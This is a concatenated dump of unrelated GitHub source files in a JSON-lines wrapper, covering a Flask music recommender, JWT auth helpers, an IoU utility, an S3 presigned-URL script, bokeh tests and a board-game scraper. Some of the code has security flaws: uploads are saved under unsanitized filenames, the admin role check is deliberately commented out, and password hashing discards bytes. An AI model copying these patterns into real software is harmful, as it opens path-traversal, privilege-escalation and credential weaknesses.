10\nnum_mfcc = 13\nn_fft = 2048\nhop_length = 512\n\n\n# --------------------------------------\n# Preprocesses User Input Taking a File\n# --------------------------------------\ndef getUserInput(path, genre):\n samples_per_segment = int(SAMPLES_PER_TRACK / num_segments)\n num_mfcc_vectors_per_segment = math.ceil(samples_per_segment / hop_length)\n\n user = {\"labels\": [], \"mfcc\": []}\n\n signal, sample_rate = librosa.load(path, sr = SAMPLE_RATE)\n\n # process all segments of audio file\n for d in range(num_segments):\n\n # calculate start and finish sample for current segment\n start = samples_per_segment * d\n finish = start + samples_per_segment\n\n # # extract mfcc\n if len(signal[start : finish]) == samples_per_segment:\n mfcc = librosa.feature.mfcc(signal[start:finish], sample_rate, n_mfcc = num_mfcc, \n n_fft = n_fft, hop_length = hop_length)\n mfcc = mfcc.T\n\n # # store only mfcc feature with expected number of vectors\n if len(mfcc) == num_mfcc_vectors_per_segment:\n user[\"mfcc\"].append(mfcc.tolist())\n user[\"labels\"].append(genre)\n\n x_user = np.array(user['mfcc'])\n y_user = np.array(user['labels'])\n return x_user, y_user\n\n\n# --------------------------------------\n# Main Function To Process Data and Display Output\n# --------------------------------------\n@app.route('/', methods = ['POST'])\ndef upload_files():\n\n # ---------------------------- Get File From User ---------------------------- #\n file = request.files['audiofile']\n filepath = os.path.join(app.config['UPLOADS'], file.filename)\n file.save(filepath)\n\n\n # ------------------- Preprocess User Input To Put in Model ------------------ #\n x_user, y_user = getUserInput(filepath, 'rock')\n x_user = x_user[..., np.newaxis]\n \n \n # ----------------------------- Running The Model ---------------------------- #\n pred = np.argmax(model.predict(x_user), axis = -1)\n genre = le.inverse_transform([mode(pred)])[0]\n \n os.unlink(filepath)\n\n\n # ------------------------ Getting The Recommendation ------------------------ #\n recommend = recs[recs['Genre'] == genre]\n\n if recommend.shape[0] >= 3: sample = 3\n else: sample = recommend.shape[0]\n # print('\\nSong Recommendations For You Are:')\n df = recommend.sample(sample)\n\n\n # ------------------ Printing The Genre With Recommendations ----------------- #\n genre = 'Your Predicted Genre is {}'.format(genre)\n dummy = df.to_html(classes = 'table-data')\n return render_template('index.html', label = genre, \n tables=[dummy], titles=df.columns.values)\n # return render_template('index.html', label = genre)\n\nif __name__ == '__main__':\n # bestModel()\n app.run(debug = True)","repo_name":"FlintyTub49/MusicRecommender","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3924,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"39668412277","text":"__author__ = \"jcgregorio@google.com (Joe Gregorio)\"\n\nimport httplib2\nimport pprint\nimport sys\n\nfrom googleapiclient.discovery import build\nfrom oauth2client.service_account import ServiceAccountCredentials\n\n\ndef main(argv):\n # Load the json format key that you downloaded from the Google API\n # Console when you created your service account. For p12 keys, use the\n # from_p12_keyfile method of ServiceAccountCredentials and specify the\n # service account email address, p12 keyfile, and scopes.\n credentials = ServiceAccountCredentials.from_json_keyfile_name(\n \"service-account-abcdef123456.json\",\n scopes=\"https://www.googleapis.com/auth/tasks\",\n )\n\n # Create an httplib2.Http object to handle our HTTP requests and authorize\n # it with the Credentials.\n http = httplib2.Http()\n http = credentials.authorize(http)\n\n service = build(\"tasks\", \"v1\", http=http)\n\n # List all the tasklists for the account.\n lists = service.tasklists().list().execute(http=http)\n pprint.pprint(lists)\n\n\nif __name__ == \"__main__\":\n main(sys.argv)\n","repo_name":"googleapis/google-api-python-client","sub_path":"samples/service_account/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":7007,"dataset":"github-code","pt":"69"} +{"seq_id":"7731545991","text":"\"\"\"Module for iou matrix computation functions\"\"\"\nfrom math import sqrt\nfrom typing import List, Union\n\nimport numpy as np\nfrom scipy.sparse import csr_matrix\n\nfrom niceml.utilities.boundingboxes.bboxconversion import bbox_list_to_ullr_array\nfrom niceml.utilities.boundingboxes.boundingbox import (\n BoundingBox,\n get_surrounding_bounding_box,\n split_bounding_boxes,\n)\n\n\ndef get_splitbox_count(element_count: int) -> int:\n \"\"\"\n Returns the number of boxes to split one box into, where the number is at least 2,\n but not more than 8\n\n Args:\n element_count: Determine the number of elements in a box\n Returns:\n The number of boxes to split into\n \"\"\"\n target = int(sqrt(element_count) / 300)\n return max(2, min(8, target))\n\n\ndef compute_iou_matrix_optimized( # pylint: disable=too-many-locals # QUEST: replace compute_iou_matrix?\n anchor_boxes: np.ndarray, gt_boxes: np.ndarray\n) -> Union[csr_matrix, np.ndarray]:\n \"\"\"\n Computes pairwise IOU matrix for two given sets of boxes.\n Computes the same iou matrix as `compute_iou_matrix` but especially\n for big matrices this function more efficient and user fewer memory.\n\n Args:\n anchor_boxes: A tensor with shape `(N, 4)` representing anchor bounding boxes\n where each box is of the format `[left, top, right, bottom]`.\n gt_boxes: A tensor with shape `(M, 4)` representing ground truth bounding boxes\n where each box is of the format `[left, top, right, bottom]`.\n\n Returns:\n pairwise IOU matrix with shape `(N, M)`, where the value at 'i'th row\n 'j'th column holds the IOU between 'i'th box and 'j'th box from\n boxes1 and boxes2 respectively.\n \"\"\"\n element_count = anchor_boxes.shape[0] * gt_boxes.shape[0]\n if element_count < 100000:\n return compute_iou_matrix(anchor_boxes, gt_boxes)\n\n surrounding_bbox = get_surrounding_bounding_box(anchor_boxes, gt_boxes)\n box_split_count = get_splitbox_count(element_count)\n bounding_box_split_list: List[BoundingBox] = split_bounding_boxes(\n surrounding_bbox, box_split_count, box_split_count\n )\n bounding_box_split_array = bbox_list_to_ullr_array(bounding_box_split_list)\n\n anchor_boxes_iou = compute_iou_matrix(anchor_boxes, bounding_box_split_array)\n gt_boxes_iou = compute_iou_matrix(gt_boxes, bounding_box_split_array)\n anchor_indexes = np.argwhere(anchor_boxes_iou > 0)\n gt_indexes = np.argwhere(gt_boxes_iou > 0)\n\n value_list = []\n\n for idx in range(len(bounding_box_split_list)):\n cur_anchor_indexes = anchor_indexes[anchor_indexes[:, 1] == idx, 0]\n cur_gt_indexes = gt_indexes[gt_indexes[:, 1] == idx, 0]\n cur_iou_mat = compute_iou_matrix(\n anchor_boxes[cur_anchor_indexes, :], gt_boxes[cur_gt_indexes, :]\n )\n cur_iou_indexes = np.argwhere(cur_iou_mat > 0)\n target_iou_values = cur_iou_mat[cur_iou_indexes[:, 0], cur_iou_indexes[:, 1]]\n target_anchor_indexes = cur_anchor_indexes[cur_iou_indexes[:, 0]]\n target_gt_indexes = cur_gt_indexes[cur_iou_indexes[:, 1]]\n\n value_list.append(\n np.concatenate(\n [\n target_iou_values[np.newaxis, :],\n target_anchor_indexes[np.newaxis, :],\n target_gt_indexes[np.newaxis, :],\n ],\n axis=0,\n )\n )\n\n value_array = np.concatenate(value_list, axis=1)\n\n value_array = np.unique(value_array, axis=1)\n\n return csr_matrix(\n (value_array[0, :], (value_array[1, :], value_array[2, :])),\n shape=(anchor_boxes.shape[0], gt_boxes.shape[0]),\n )\n\n\n# pylint: disable=too-many-locals\ndef compute_iou_matrix(anchor_boxes: np.ndarray, gt_boxes: np.ndarray) -> np.ndarray:\n \"\"\"Computes pairwise IOU matrix for two given sets of boxes\n\n Args:\n anchor_boxes: A tensor with shape `(N, 4)` representing anchor bounding boxes\n where each box is of the format `[left, top, right, bottom]`.\n gt_boxes: A tensor with shape `(M, 4)` representing ground truth bounding boxes\n where each box is of the format `[left, top, right, bottom]`.\n\n Returns:\n pairwise IOU matrix with shape `(N, M)`, where the value at 'i'th row\n 'j'th column holds the IOU between 'i'th box and 'j'th box from\n boxes1 and boxes2 respectively.\n \"\"\"\n\n anchor_lefts = anchor_boxes[:, 0][:, np.newaxis]\n anchor_tops = anchor_boxes[:, 1][:, np.newaxis]\n anchor_rights = anchor_boxes[:, 2][:, np.newaxis]\n anchor_bottoms = anchor_boxes[:, 3][:, np.newaxis]\n\n anchor_areas = (anchor_rights - anchor_lefts) * (anchor_bottoms - anchor_tops)\n\n gt_lefts = gt_boxes[:, 0][np.newaxis, :]\n gt_tops = gt_boxes[:, 1][np.newaxis, :]\n gt_rights = gt_boxes[:, 2][np.newaxis, :]\n gt_bottoms = gt_boxes[:, 3][np.newaxis, :]\n\n gt_areas = (gt_rights - gt_lefts) * (gt_bottoms - gt_tops)\n\n intersect_lefts = np.maximum(anchor_lefts, gt_lefts)\n intersect_tops = np.maximum(anchor_tops, gt_tops)\n intersect_rights = np.minimum(anchor_rights, gt_rights)\n intersect_bottoms = np.minimum(anchor_bottoms, gt_bottoms)\n\n intersection_widths = np.maximum(0.0, intersect_rights - intersect_lefts)\n intersection_heights = np.maximum(0.0, intersect_bottoms - intersect_tops)\n\n intersection_areas = intersection_widths * intersection_heights\n\n union_areas = anchor_areas + gt_areas - intersection_areas\n intersection_areas = intersection_areas.astype(float)\n union_areas = union_areas.astype(float)\n iou_matrix = np.divide(\n intersection_areas,\n union_areas,\n out=np.zeros(shape=intersection_areas.shape, dtype=float),\n where=union_areas != 0.0,\n )\n return iou_matrix\n","repo_name":"codecentric-oss/niceml","sub_path":"niceml/utilities/ioumatrix.py","file_name":"ioumatrix.py","file_ext":"py","file_size_in_byte":5785,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"69"} +{"seq_id":"16997162150","text":"import hashlib\nimport re\nimport time\nimport jwt\nfrom flask import request, abort\n\nfrom constants import PWD_HASH_SALT, PWD_HASH_ITERATIONS, JWT_SECRET_KEY, JWT_TOKEN_ALGORITHM, PWD_ALGORITHM\n\n\ndef get_hash(password):\n \"\"\"\n Преобразует обычный пароль в ХЭШ\n \"\"\"\n return hashlib.pbkdf2_hmac(\n PWD_ALGORITHM,\n password.encode('utf-8'), # Convert the password to bytes\n PWD_HASH_SALT,\n PWD_HASH_ITERATIONS\n ).decode(\"utf-8\", \"ignore\")\n\n\ndef generate_jwt(user_data: dict) -> dict[str:str]:\n \"\"\"\n Генерирует ТОКЕНЫ для доступа к API на основе данных пользователя\n \"\"\"\n time_utc = int(time.time())\n # Добавляем 30 минут для текущего времени\n time_30min = time_utc + 1800\n # Добавляем 100 дней для текущего времени\n time_100d = time_utc + 3600 * 24 * 100\n\n user_data['exp'] = time_30min\n access_token = jwt.encode(\n user_data, JWT_SECRET_KEY, algorithm=JWT_TOKEN_ALGORITHM)\n user_data['exp'] = time_100d\n refresh_token = jwt.encode(\n user_data, JWT_SECRET_KEY, algorithm=JWT_TOKEN_ALGORITHM)\n\n return {'access_token': access_token, 'refresh_token': refresh_token}\n\n\ndef check_auth(headers: dict) -> dict:\n if 'Authorization' not in headers:\n abort(401)\n\n token = headers['Authorization'].split('Bearer ')[-1]\n try:\n user_auth_data = jwt.decode(\n token, JWT_SECRET_KEY, algorithms=[JWT_TOKEN_ALGORITHM])\n return user_auth_data\n except Exception:\n abort(401)\n\n\ndef auth_required(func):\n def wrapper(*args, **kwargs):\n check_auth(request.headers)\n\n return func(*args, **kwargs)\n return wrapper\n\n\ndef admin_required(func):\n \"\"\"\n Т.к. в задании предполагается испытания на фронтенд-стенде, но никаких\n указаний по взаимодействию в бэкэнду не указано, то пока удаляю проверку\n роли администратора, не знаю, как фронтенд будет работать при наличии\n лишнего поля в запросе.\n \"\"\"\n def wrapper(*args, **kwargs):\n user_auth_data = check_auth(request.headers)\n\n # if user_auth_data.get('role') != 'admin':\n # abort(403)\n\n return func(*args, **kwargs)\n return wrapper\n\n\ndef is_email_valid(email: str) -> bool:\n \"\"\" проверяет наличие собачки и точки\"\"\"\n is_email = re.findall(\"^([a-z0-9_.]+@[a-z0-9_.]+\\.[a-zA-Z]{2,6})$\", email)\n return bool(is_email)\n","repo_name":"Draniev/sky_cw4","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"71168220701","text":"from scipy.stats import expon\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef Inverse_transform_sampling_Exponential(M,lambda_):\n expon_x = []\n\n for i in range(M):\n u = np.random.uniform(0, 1)\n x = expon.ppf(u, lambda_) - 1\n expon_x.append(x)\n\n return(np.array(expon_x))\n\nexponential_random_samples = Inverse_transform_sampling_Exponential(\n M = 10000, lambda_ = 1)\n\ncounts, bins, ignored = plt.hist(\n exponential_random_samples, \n 25,\n density = True,\n color = 'purple')\nplt.title(\"\"\"Inverse Transform Sampling from Exponential Distribution with \n Unif(0,1) and Inverse CDF\"\"\")\nplt.ylabel(\"Probability\")\nplt.show()","repo_name":"BambooFlower/Math-Scripts","sub_path":"Code/Monte Carlo Simulations/inverse_transform_sampling.py","file_name":"inverse_transform_sampling.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"36136609110","text":"import torch\nimport torch.nn as nn\nfrom utils import process\nfrom layers import GCN, AvgNeighbor, Discriminator\n\nclass GMI(nn.Module):\n def __init__(self, n_in, n_h, activation):\n super(GMI, self).__init__()\n self.gcn1 = GCN(n_in, n_h, activation) # if on citeseer and pubmed, the encoder is 1-layer GCN, you need to modify it\n self.gcn2 = GCN(n_h, n_h, activation)\n self.disc1 = Discriminator(n_in, n_h)\n self.disc2 = Discriminator(n_h, n_h)\n self.avg_neighbor = AvgNeighbor()\n self.prelu = nn.PReLU()\n self.sigm = nn.Sigmoid()\n\n def forward(self, seq1, adj_ori, neg_num, adj, samp_bias1, samp_bias2):\n h_1, h_w = self.gcn1(seq1, adj)\n h_2, _ = self.gcn2(h_1, adj)\n h_neighbor = self.prelu(self.avg_neighbor(h_w, adj_ori))\n \"\"\"FMI (X_i consists of the node i itself and its neighbors)\"\"\"\n # I(h_i; x_i)\n res_mi_pos, res_mi_neg = self.disc1(h_2, seq1, process.negative_sampling(adj_ori, neg_num), samp_bias1, samp_bias2)\n # I(h_i; x_j) node j is a neighbor\n res_local_pos, res_local_neg = self.disc2(h_neighbor, h_2, process.negative_sampling(adj_ori, neg_num), samp_bias1, samp_bias2)\n \"\"\"I(w_ij; a_ij)\"\"\"\n adj_rebuilt = self.sigm(torch.mm(torch.squeeze(h_2), torch.t(torch.squeeze(h_2))))\n \n return res_mi_pos, res_mi_neg, res_local_pos, res_local_neg, adj_rebuilt\n\n # detach the return variables\n def embed(self, seq, adj):\n h_1, _ = self.gcn1(seq, adj)\n h_2, _ = self.gcn2(h_1, adj)\n\n return h_2.detach()\n\n","repo_name":"zpeng27/GMI","sub_path":"models/gmi.py","file_name":"gmi.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"69"} +{"seq_id":"31926339420","text":"import matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nfrom PIL import Image\n\nim = Image.open(\"marvin.jpg\")\n\n# 对比原始图片重建图片\nfig = plt.figure(figsize=(2, 2))\ngs = gridspec.GridSpec(2, 2)\ngs.update(wspace=0.05, hspace=0.05)\nfor i in range(4):\n ax = plt.subplot(gs[i])\n plt.axis('off')\n ax.set_xticklabels([])\n ax.set_yticklabels([])\n ax.set_aspect('equal')\n plt.imshow(im)\n\nplt.savefig(\"save-image.jpg\", bbox_inches='tight')","repo_name":"alisure-ml/python-study","sub_path":"temp/study_plt/7-save-image.py","file_name":"7-save-image.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34758804438","text":"#!/usr/bin/env python\n\"\"\"\nThis script will create a presigned url and fields for POSTING to an s3 bucket. This allows someone without permissions\non the bucket to upload a file.\n\nThis script must be run by an entity with the right permissions on the bucket.\n\nThe url will expire after 600 seconds.\n\nUsage:\nscripts/generate-s3-post-url-data.py \n\n\"\"\"\nimport json\nimport boto3\nfrom docopt import docopt\n\n\ndef generate_s3_post_data(bucket, filename):\n s3 = boto3.client('s3')\n\n fields = {\"acl\": \"bucket-owner-full-control\"}\n conditions = [\n {\"acl\": \"bucket-owner-full-control\"}\n ]\n\n post = s3.generate_presigned_post(\n Bucket=bucket,\n Key=filename,\n Fields=fields,\n Conditions=conditions,\n ExpiresIn=600\n )\n\n return json.dumps(post)\n\n\nif __name__ == \"__main__\":\n arguments = docopt(__doc__)\n bucket = arguments['']\n filename = arguments['']\n print(generate_s3_post_data(bucket, filename))\n","repo_name":"Crown-Commercial-Service/digitalmarketplace-aws","sub_path":"scripts/generate-s3-post-url-data.py","file_name":"generate-s3-post-url-data.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"69"} +{"seq_id":"3536552856","text":"t = int(input())\nfor num in range(1, t+1):\n n = int(input())\n card = input()\n \n #카드의 개수 저장\n cnt = [0] * 10\n\n #card 정보 입력을 문자열로 받아서 앞에서부터 하나씩 순회\n #해당 숫자의 위치에 카운트 +1\n for i in card:\n cnt[int(i)] += 1\n\n #max_cnt에 최대 개수 저장, 그리고 최대 개수를 갖는 인덱스(=최대개수의 카드번호)를 max_idx에 저장\n max_idx = 0\n max_cnt = 0\n \n #0부터 차례대로 비교해주면서 최대값과 그 위치를 저장\n #새로 비교하는 개수가 기존의 개수 이상이면 교체\n #작은 수부터 비교하기 때문에 장수가 같은 경우에 자동으로 큰 쪽을 출력함\n for i in range(10):\n if cnt[i] >= max_cnt:\n max_cnt = cnt[i]\n max_idx = i\n\n print(f'#{num} {max_idx} {max_cnt}')","repo_name":"Ryu4949/PS","sub_path":"swea/4834_cards/sol1.py","file_name":"sol1.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33652775968","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport pytest ; pytest\n\n#-----------------------------------------------------------------------------\n# Imports\n#-----------------------------------------------------------------------------\n\n# Standard library imports\n\n# External imports\n\n# Bokeh imports\nfrom bokeh.models.tiles import WMTSTileSource\n#from bokeh._testing.util.api import verify_all\n\n# Module under test\nimport bokeh.tile_providers as bt\n\n#-----------------------------------------------------------------------------\n# Setup\n#-----------------------------------------------------------------------------\n\nALL = (\n 'CARTODBPOSITRON',\n 'CARTODBPOSITRON_RETINA',\n 'STAMEN_TERRAIN',\n 'STAMEN_TERRAIN_RETINA',\n 'STAMEN_TONER',\n 'STAMEN_TONER_BACKGROUND',\n 'STAMEN_TONER_LABELS',\n 'get_provider',\n 'Vendors'\n)\n\n_CARTO_URLS = {\n 'CARTODBPOSITRON': 'https://tiles.basemaps.cartocdn.com/light_all/{z}/{x}/{y}.png',\n 'CARTODBPOSITRON_RETINA': 'https://tiles.basemaps.cartocdn.com/light_all/{z}/{x}/{y}@2x.png',\n}\n\n_STAMEN_URLS = {\n 'STAMEN_TERRAIN': 'http://tile.stamen.com/terrain/{Z}/{X}/{Y}.png',\n 'STAMEN_TERRAIN_RETINA': 'http://tile.stamen.com/terrain/{Z}/{X}/{Y}@2x.png',\n 'STAMEN_TONER': 'http://tile.stamen.com/toner/{Z}/{X}/{Y}.png',\n 'STAMEN_TONER_BACKGROUND': 'http://tile.stamen.com/toner-background/{Z}/{X}/{Y}.png',\n 'STAMEN_TONER_LABELS': 'http://tile.stamen.com/toner-labels/{Z}/{X}/{Y}.png',\n}\n\n_STAMEN_LIC = {\n 'STAMEN_TERRAIN': 'CC BY SA',\n 'STAMEN_TERRAIN_RETINA': 'CC BY SA',\n 'STAMEN_TONER': 'ODbL',\n 'STAMEN_TONER_BACKGROUND': 'ODbL',\n 'STAMEN_TONER_LABELS': 'ODbL',\n}\n\n#-----------------------------------------------------------------------------\n# General API\n#-----------------------------------------------------------------------------\n\n# XXX This is commented out until version 2.0 and literals are converted to enums\n# Test___all__ = verify_all(bt, ALL)\n\n@pytest.mark.parametrize('name', [ 'STAMEN_TERRAIN', 'STAMEN_TERRAIN_RETINA', 'STAMEN_TONER', 'STAMEN_TONER_BACKGROUND', 'STAMEN_TONER_LABELS',])\n@pytest.mark.unit\nclass Test_StamenProviders(object):\n def test_type(self, name):\n with pytest.deprecated_call():\n p = getattr(bt, name)\n assert isinstance(p, WMTSTileSource)\n\n def test_url(self, name):\n with pytest.deprecated_call():\n p = getattr(bt, name)\n assert p.url == _STAMEN_URLS[name]\n\n def test_attribution(self, name):\n with pytest.deprecated_call():\n p = getattr(bt, name)\n\n print(p.attribution)\n assert p.attribution == (\n 'Map tiles by Stamen Design, '\n 'under CC BY 3.0. '\n 'Data by OpenStreetMap, '\n 'under %s.'\n ) % _STAMEN_LIC[name]\n\n def test_copies(self, name):\n with pytest.deprecated_call():\n p1 = getattr(bt, name)\n p2 = getattr(bt, name)\n assert p1 is not p2\n\n@pytest.mark.parametrize('name', ['CARTODBPOSITRON', 'CARTODBPOSITRON_RETINA'])\n@pytest.mark.unit\nclass Test_CartoProviders(object):\n def test_type(self, name):\n with pytest.deprecated_call():\n p = getattr(bt, name)\n assert isinstance(p, WMTSTileSource)\n\n def test_url(self, name):\n with pytest.deprecated_call():\n p = getattr(bt, name)\n assert p.url == _CARTO_URLS[name]\n\n def test_attribution(self, name):\n with pytest.deprecated_call():\n p = getattr(bt, name)\n assert p.attribution == (\n '© OpenStreetMap contributors,'\n '© CartoDB'\n )\n\n def test_copies(self, name):\n with pytest.deprecated_call():\n p1 = getattr(bt, name)\n p2 = getattr(bt, name)\n assert p1 is not p2\n\n\n@pytest.mark.unit\nclass Test_GetProvider(object):\n\n @pytest.mark.parametrize('name', ['CARTODBPOSITRON', 'CARTODBPOSITRON_RETINA', 'STAMEN_TERRAIN',\n 'STAMEN_TERRAIN_RETINA', 'STAMEN_TONER', 'STAMEN_TONER_BACKGROUND',\n 'STAMEN_TONER_LABELS', ])\n def test_get_provider(self, name):\n assert name in bt.Vendors\n enum_member = getattr(bt.Vendors, name)\n p1 = bt.get_provider(enum_member)\n p2 = bt.get_provider(name)\n p3 = bt.get_provider(name.lower())\n assert isinstance(p1, WMTSTileSource)\n assert isinstance(p2, WMTSTileSource)\n assert isinstance(p3, WMTSTileSource)\n assert p1 is not p2\n assert p2 is not p3\n assert p1 is not p3\n assert p1.url == p2.url == p3.url\n assert p1.attribution == p2.attribution == p3.attribution\n\n with pytest.deprecated_call():\n # This will not return a WMTSTileSource in bokeh 2.0.0!\n default_instance = getattr(bt, name)\n new_instance = bt.get_provider(default_instance)\n assert default_instance is not new_instance\n assert default_instance.url == new_instance.url\n assert default_instance.attribution == new_instance.attribution\n\n def test_unknown_vendor(self):\n with pytest.raises(ValueError):\n bt.get_provider(\"This is not a valid tile vendor\")\n\n\n#-----------------------------------------------------------------------------\n# Dev API\n#-----------------------------------------------------------------------------\n\n#-----------------------------------------------------------------------------\n# Private API\n#-----------------------------------------------------------------------------\n\n#-----------------------------------------------------------------------------\n# Code\n#-----------------------------------------------------------------------------\n","repo_name":"rthorst/TwitterSentiment","sub_path":"lib/bokeh/tests/test_tile_providers.py","file_name":"test_tile_providers.py","file_ext":"py","file_size_in_byte":6350,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"72040028380","text":"import numpy as np\nimport math\nimport matplotlib.pyplot as plt\nfrom matplotlib import style\n\n\n\nplt.figure(figsize=(8,6), dpi=100) #dpi: dot per inch\n\nax1=plt.subplot(2,2,1)\n\ntheta=np.linspace(0, 2*np.pi, 100)\nrho=1-np.sin(theta)\nx=rho*np.cos(theta)\ny=rho*np.sin(theta)\n\nax1.plot(x, y,color='blue',linewidth=4)\nplt.axis('equal')\nplt.title('fat heart',fontsize=20)\n\n\n\n\nax2=plt.subplot(2,2,2)\nx1=np.linspace(0,2,100)\ny1=np.sqrt(1-(abs(x1)-1)**2)\nx2=np.linspace(-2,0,100)\ny2=np.sqrt(1-(abs(x1)-1)**2)\n\ny11=np.arccos(1-abs(x1))-math.pi\ny22=np.arccos(1-abs(x2))-math.pi\n\nax2.plot(x1, y1,color='red',linewidth=4)\nax2.plot(x2, y2,color='red',linewidth=4)\nax2.plot(x1, y11,color='red',linewidth=4)\nax2.plot(x2, y22,color='red',linewidth=4)\n\nplt.title('better heart',fontsize=20)\n\n\n\nax3=plt.subplot(2,2,3)\nx1=np.linspace(0,2,100)\ny1=np.sqrt(1-(abs(x1)-1)**2)\nx2=np.linspace(-2,0,100)\ny2=np.sqrt(1-(abs(x1)-1)**2)\n\ny11=np.arccos(1-abs(x1))-math.pi\ny22=np.arccos(1-abs(x2))-math.pi\n\nax3.plot(x1, y1,color='red',linewidth=4)\nax3.plot(x2, y2,color='red',linewidth=4)\nax3.plot(x1, y11,color='red',linewidth=4)\nax3.plot(x2, y22,color='red',linewidth=4)\n\nplt.title('better heart',fontsize=20,x=0.5, y=0.5,color=\"b\",size=14)\nplt.axis(\"off\")\n\n\n\n\nax4=plt.subplot(2,2,4, projection='polar')\n\ntheta=np.linspace(0, 2*np.pi, 100)\nrho=1-np.sin(theta)\n\nax4.plot(theta, rho,color='blue',linewidth=4)\nplt.title('fat heart',x=0.5, y=0.6,color=\"b\",size=14)\nplt.show()\n","repo_name":"ksye6/ksye6","sub_path":"MSDM5002基础Python可视化/作业/quiz3.py","file_name":"quiz3.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37053791388","text":"import pandas as pd\nimport numpy as np\nimport requests\nfrom xml.etree import ElementTree\nimport time\nimport datetime\n\n\ndef xml_attrib(elem,\n attr=None,\n subattr=None,\n subval=None,\n attrib_val='value'):\n\n if subattr is None:\n return elem.find(f'.//{attr}').attrib[attrib_val]\n elif subval is None:\n return elem.find(f'.//{attr}[@{subattr}]').attrib[attrib_val]\n else:\n return elem.find(f'.//{attr}[@{subattr}=\"{subval}\"]').attrib[attrib_val]\n\n\ndef xml_attrib_list(elem,\n attr=None,\n subattr=None,\n subval=None,\n attrib_val='value'):\n\n ch_list = []\n if subattr is None:\n for chrs in elem.findall(f'.//{attr}'):\n ch_list.append(chrs.attrib[attrib_val])\n elif subval is None:\n for chrs in elem.findall(f'.//{attr}[@{subattr}]'):\n ch_list.append(chrs.attrib[attrib_val])\n else:\n for chrs in elem.findall(f'.//{attr}[@{subattr}=\"{subval}\"]'):\n ch_list.append(chrs.attrib[attrib_val])\n return ch_list\n\n\nURL = \"http://www.boardgamegeek.com/xmlapi2/thing?id={}&stats=1&videos=1&page=1000&pagesize=100\"\n\n\ndef get_bgg_meta(df,\n id='objectid',\n stepsize=100,\n url=\"http://www.boardgamegeek.com/xmlapi2/thing?id={}&stats=1&videos=1&page=1000&pagesize=100\"):\n\n queue = df[id].tolist()\n\n dfc = df.copy()\n\n _count = 0\n\n _data = {}\n\n for _i in range(0, len(queue), stepsize):\n\n print('Next Chunk:', datetime.datetime.now().time())\n for _ in range(3):\n try:\n req = requests.get(url.format(','.join([str(x) for x in queue[_i:_i + stepsize]])))\n\n root = ElementTree.fromstring(req.content)\n\n print('xml worked:', datetime.datetime.now().time())\n for _g in root:\n # ID:\n currentid = int(_g.attrib['id'])\n _data[currentid] = {}\n dummy = _data[currentid]\n\n # Type:\n dummy['type'] = (_g.attrib['type'])\n # Name:\n dummy['name'] = (xml_attrib(_g, 'name', 'type', 'primary'))\n # Year:\n dummy['year'] = (xml_attrib(_g, 'yearpublished'))\n # MinPlayers:\n minplayers = xml_attrib(_g, 'minplayers')\n dummy['minplayers'] = (minplayers)\n # MaxPlayers:\n maxplayers = xml_attrib(_g, 'maxplayers')\n dummy['maxplayers'] = (maxplayers)\n # playingtime:\n dummy['playingtime'] = (xml_attrib(_g, 'playingtime'))\n # minplaytime:\n dummy['minplaytime'] = (xml_attrib(_g, 'minplaytime'))\n # maxplaytime:\n dummy['maxplaytime'] = (xml_attrib(_g, 'maxplaytime'))\n # numvideos:\n dummy['num_videos'] = (xml_attrib(_g, 'videos', None, None, 'total'))\n # avg_rating:\n dummy['avg_rating'] = (xml_attrib(_g, 'statistics/ratings/average'))\n # bayes_avg_rating:\n dummy['bayes_avg_rating'] = (xml_attrib(_g, 'statistics/ratings/bayesaverage'))\n # usersrated:\n dummy['usersrated'] = (xml_attrib(_g, 'statistics/ratings/usersrated'))\n # bgg_rank exclude 'Not Ranked':\n dummy['bgg_rank'] = (xml_attrib(_g, 'statistics/ratings/ranks/rank', 'type', 'subtype'))\n # owned:\n dummy['num_owned'] = (xml_attrib(_g, 'statistics/ratings/owned'))\n # wanting:\n dummy['num_wanting'] = (xml_attrib(_g, 'statistics/ratings/wanting'))\n # wishing:\n dummy['num_wishing'] = (xml_attrib(_g, 'statistics/ratings/wishing'))\n # trading;\n dummy['num_trading'] = (xml_attrib(_g, 'statistics/ratings/trading'))\n # numcomments:\n dummy['num_comments'] = (xml_attrib(_g, 'statistics/ratings/numcomments'))\n # numweights:\n dummy['num_weights'] = (xml_attrib(_g, 'statistics/ratings/numweights'))\n # averageweight\n dummy['averageweight'] = (xml_attrib(_g, 'statistics/ratings/averageweight'))\n\n # mechanics:\n dummy['mechanics'] = ','.join(xml_attrib_list(_g, 'link', 'type', 'boardgamemechanic'))\n # boardgamecategory:\n dummy['category'] = ','.join(xml_attrib_list(_g, 'link', 'type', 'boardgamecategory'))\n # boardgamefamily:\n dummy['family'] = ','.join(xml_attrib_list(_g, 'link', 'type', 'boardgamefamily'))\n # boardgamedesigner:\n dummy['designer'] = ','.join(xml_attrib_list(_g, 'link', 'type', 'boardgamedesigner'))\n # boardgameartist:\n dummy['artists'] = ','.join(xml_attrib_list(_g, 'link', 'type', 'boardgameartist'))\n # boardgameexpansion\n dummy['expansions'] = ','.join(xml_attrib_list(_g, 'link', 'type', 'boardgameexpansion', 